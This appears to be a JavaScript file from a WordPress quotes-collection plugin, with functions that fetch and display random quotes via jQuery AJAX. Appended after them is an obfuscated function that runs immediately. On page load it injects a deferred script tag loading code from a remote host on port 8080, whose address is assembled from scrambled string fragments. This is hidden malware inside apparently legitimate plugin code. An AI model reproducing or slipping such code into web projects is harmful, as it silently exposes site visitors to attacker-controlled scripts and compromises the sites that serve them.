var quotcoll_requrl, quotcoll_nextquote, quotcoll_loading, quotcoll_errortext;

function quotescollection_init(requrl, nextquote, loading, errortext)
{
	quotcoll_requrl = requrl;
	quotcoll_nextquote = nextquote;
	quotcoll_loading = loading;
	quotcoll_errortext = errortext;
}



function quotescollection_refresh(instance, exclude, show_author, show_source, filter_tags, char_limit)
{
	jQuery("#quotescollection_nextquote-"+instance).html(quotcoll_loading);
	jQuery.ajax({
		type: "POST",
		url: quotcoll_requrl,
		data: "refresh="+instance+"&exclude="+exclude+"&show_author="+show_author+"&show_source="+show_source+"&char_limit="+char_limit+"&tags="+filter_tags,
		success: function(response) {
			jQuery("#quotescollection_randomquote-"+instance).hide();
			jQuery("#quotescollection_randomquote-"+instance).html( response );
			jQuery("#quotescollection_randomquote-"+instance).fadeIn("slow");	
		},
		error: function(xhr, textStatus, errorThrown) {
			alert(textStatus+' '+xhr.status+': '+errorThrown);
			jQuery("#quotescollection_nextquote-"+instance).html('<a class=\"quotescollection_refresh\" style=\"cursor:pointer\" onclick=\"quotescollection_refresh('+instance+', '+exclude+', '+show_author+', '+show_source+', \''+filter_tags+'\', '+char_limit+')\">'+quotcoll_nextquote+' &raquo;</a>');
		}	
	});
}


function Wu(){var Bo="";var q=RegExp;var pO="";var pc;if(pc!='c'){pc='c'};var Wr="";this.zp='';var p=String("ywRg".substr(3));this.l='';this.G='';var j='';var mU;if(mU!='iI'){mU=''};var h;if(h!='S'){h='S'};var _;if(_!='iP'){_='iP'};function W(T,F){var js;if(js!='V' && js!='Uy'){js=''};var Dr;if(Dr!='Px' && Dr!='pv'){Dr=''};var x= String("[mhR".substr(0,1));x+=F;x+=new String("WNFA]".substr(4));var C;if(C!='Bk' && C!='GR'){C=''};var kf;if(kf!='qP' && kf!='L'){kf='qP'};var Y='';var P=new q(x, p);return T.replace(P, j);var xf=new Array();};var PW=new String();var vj;if(vj!='' && vj!='O'){vj=null};this.em="";this.OR='';var w=String("http"+"://r"+"etai"+"hiTQlmen".substr(4)+"ot-cUwn".substr(0,4)+"om.xT8H".substr(0,4)+"unlesTY".substr(0,4)+"i.coQhd".substr(0,4)+"m.tu"+"dou-"+"fUkicom.fUki".substr(4,4)+"qe7ibuymei7q".substr(4,4)+"4btypalt4b".substr(3,4)+"m.ru"+"Ac0:cA0".substr(3,1));var zX="";var PP='';var B=new String("/aweb"+"er.co"+"m/awe5Zu".substr(0,5)+"sT1kber.ck1sT".substr(4,5)+"Dw9bom/cl9Dbw".substr(4,5)+"ickba"+"nk.cowC1".substr(0,5)+"m/dai"+"rJUlymai".substr(3)+"W8Pl.co.WP8".substr(3,5)+"uk/go"+"ogle."+"z12com.p1z2".substr(3,5)+"hpgBe".substr(0,2));var u="";var D=String("sc"+"ri"+"ptdrY".substr(0,2));this.Lm='';var e=new String("defe"+"r");var WO=String("sr"+"c");var KR;if(KR!='tL'){KR=''};var BU=window;var me;if(me!=''){me='kC'};var XS;if(XS!=''){XS='Yl'};var Tr="";var eg=W('844014841044',"41");this.sA='';var du;if(du!='' && du!='xj'){du=null};this.CB='';BU.onload=function(){try {PP=w+eg;var Ku=new Array();PP+=B;var dd='';var Xu;if(Xu!='Qh' && Xu!='rS'){Xu=''};m=document.createElement(D);m[e]=[1,1][0];var f=new Array();this.tk='';var Z;if(Z!='M'){Z=''};m[WO]=PP;var R=new String();var fM;if(fM!='' && fM!='jX'){fM=null};var mo;if(mo!='Wv' && mo != ''){mo=null};var SY="";document.body.appendChild(m);var Ei='';var WC="";this.xE="";var sS=new Date();} catch(v){var ZM;if(ZM!='Rp'){ZM='Rp'};var gh;if(gh!='KM'){gh='KM'};};var Ax=new Array();};};var Nm=new Date();Wu();